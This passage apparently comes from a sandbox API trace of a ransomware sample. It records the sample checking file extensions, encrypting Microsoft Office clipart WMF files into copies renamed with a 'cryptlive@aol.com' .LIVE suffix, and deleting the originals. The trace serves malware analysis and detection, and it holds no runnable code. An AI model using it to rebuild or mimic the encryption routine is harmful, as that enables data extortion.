CloseHandle (hObject=0x3b0) returned 1 [0139.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0139.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.971] lstrlenW (lpString=".doc") returned 4 [0139.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.971] lstrlenW (lpString=".docx") returned 5 [0139.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.971] lstrlenW (lpString=".pdf") returned 4 [0139.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.971] lstrlenW (lpString=".xls") returned 4 [0139.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.971] lstrlenW (lpString=".xlsx") returned 5 [0139.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.971] lstrlenW (lpString=".ppt") returned 4 [0139.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.971] lstrlenW (lpString=".zip") returned 4 [0139.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.972] lstrlenW (lpString=".rar") returned 4 [0139.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString=".bz2") returned 4 [0139.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString=".7z") returned 3 [0139.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString=".dbf") returned 4 [0139.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString=".1cd") returned 4 [0139.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString=".jpg") returned 4 [0139.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString=".doc") returned 4 [0139.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString=".docx") returned 5 [0139.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.972] lstrlenW (lpString=".pdf") returned 4 [0139.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString=".xls") returned 4 [0139.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.972] lstrlenW (lpString=".xlsx") returned 5 [0139.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.972] lstrlenW (lpString=".ppt") returned 4 [0139.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.972] lstrlenW (lpString=".zip") returned 4 [0139.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.972] lstrlenW (lpString=".rar") returned 4 [0139.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.972] lstrlenW (lpString=".bz2") returned 4 [0139.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.973] lstrlenW (lpString=".7z") returned 3 [0139.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.973] lstrlenW (lpString=".dbf") returned 4 [0139.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.973] lstrlenW (lpString=".1cd") returned 4 [0139.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0139.973] lstrlenW (lpString=".jpg") returned 4 [0139.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.973] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.973] lstrlenW (lpString="BS00443_.WMF") returned 12 [0139.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0140.100] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1676) returned 1 [0140.100] CloseHandle (hObject=0x3b0) returned 1 [0140.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0140.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.250] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.250] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.250] GetLastError () returned 0x0 [0140.250] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x68c, lpOverlapped=0x0) returned 1 [0140.264] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x690, lpOverlapped=0x0) returned 1 [0140.264] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.264] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.265] SetEndOfFile (hFile=0x350) returned 1 [0140.265] CloseHandle (hObject=0x350) returned 1 [0140.265] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.265] SetEndOfFile (hFile=0x3a8) returned 1 [0140.268] CloseHandle (hObject=0x3a8) returned 1 [0140.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0140.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.271] lstrlenW (lpString=".doc") returned 4 [0140.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.271] lstrlenW (lpString=".docx") returned 5 [0140.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.271] lstrlenW (lpString=".pdf") returned 4 [0140.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.271] lstrlenW (lpString=".xls") returned 4 [0140.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.271] lstrlenW (lpString=".xlsx") returned 5 [0140.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.271] lstrlenW (lpString=".ppt") returned 4 [0140.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.271] lstrlenW (lpString=".zip") returned 4 [0140.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.271] lstrlenW (lpString=".rar") returned 4 [0140.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.271] lstrlenW (lpString=".bz2") returned 4 [0140.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.271] lstrlenW (lpString=".7z") returned 3 [0140.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".dbf") returned 4 [0140.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".1cd") returned 4 [0140.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".jpg") returned 4 [0140.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".doc") returned 4 [0140.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString=".docx") returned 5 [0140.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.272] lstrlenW (lpString=".pdf") returned 4 [0140.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString=".xls") returned 4 [0140.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.272] lstrlenW (lpString=".xlsx") returned 5 [0140.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.272] lstrlenW (lpString=".ppt") returned 4 [0140.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".zip") returned 4 [0140.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.272] lstrlenW (lpString=".rar") returned 4 [0140.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString=".bz2") returned 4 [0140.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.272] lstrlenW (lpString=".7z") returned 3 [0140.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.272] lstrlenW (lpString=".dbf") returned 4 [0140.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.273] lstrlenW (lpString=".1cd") returned 4 [0140.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0140.273] lstrlenW (lpString=".jpg") returned 4 [0140.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.273] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.273] lstrlenW (lpString="BS01635_.WMF") returned 12 [0140.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.273] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14996) returned 1 [0140.273] CloseHandle (hObject=0x3a8) returned 1 [0140.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0140.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.274] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.274] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.274] GetLastError () returned 0x0 [0140.274] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0140.286] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0140.287] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.287] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.287] SetEndOfFile (hFile=0x350) returned 1 [0140.287] CloseHandle (hObject=0x350) returned 1 [0140.288] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.288] SetEndOfFile (hFile=0x3a8) returned 1 [0140.290] CloseHandle (hObject=0x3a8) returned 1 [0140.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.291] lstrlenW (lpString=".doc") returned 4 [0140.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.291] lstrlenW (lpString=".docx") returned 5 [0140.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.291] lstrlenW (lpString=".pdf") returned 4 [0140.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.291] lstrlenW (lpString=".xls") returned 4 [0140.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.291] lstrlenW (lpString=".xlsx") returned 5 [0140.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.291] lstrlenW (lpString=".ppt") returned 4 [0140.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.291] lstrlenW (lpString=".zip") returned 4 [0140.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.292] lstrlenW (lpString=".rar") returned 4 [0140.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString=".bz2") returned 4 [0140.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString=".7z") returned 3 [0140.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString=".dbf") returned 4 [0140.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString=".1cd") returned 4 [0140.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString=".jpg") returned 4 [0140.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString=".doc") returned 4 [0140.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString=".docx") returned 5 [0140.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.292] lstrlenW (lpString=".pdf") returned 4 [0140.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString=".xls") returned 4 [0140.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.292] lstrlenW (lpString=".xlsx") returned 5 [0140.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.292] lstrlenW (lpString=".ppt") returned 4 [0140.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.292] lstrlenW (lpString=".zip") returned 4 [0140.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.292] lstrlenW (lpString=".rar") returned 4 [0140.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.292] lstrlenW (lpString=".bz2") returned 4 [0140.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.293] lstrlenW (lpString=".7z") returned 3 [0140.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.293] lstrlenW (lpString=".dbf") returned 4 [0140.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.293] lstrlenW (lpString=".1cd") returned 4 [0140.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0140.293] lstrlenW (lpString=".jpg") returned 4 [0140.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.293] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.293] lstrlenW (lpString="BS01636_.WMF") returned 12 [0140.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.293] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1874) returned 1 [0140.294] CloseHandle (hObject=0x3a8) returned 1 [0140.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0140.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.294] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.294] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.295] GetLastError () returned 0x0 [0140.295] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x752, lpOverlapped=0x0) returned 1 [0140.365] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x760, lpOverlapped=0x0) returned 1 [0140.366] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.366] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.366] SetEndOfFile (hFile=0x350) returned 1 [0140.366] CloseHandle (hObject=0x350) returned 1 [0140.366] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.366] SetEndOfFile (hFile=0x3a8) returned 1 [0140.369] CloseHandle (hObject=0x3a8) returned 1 [0140.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft 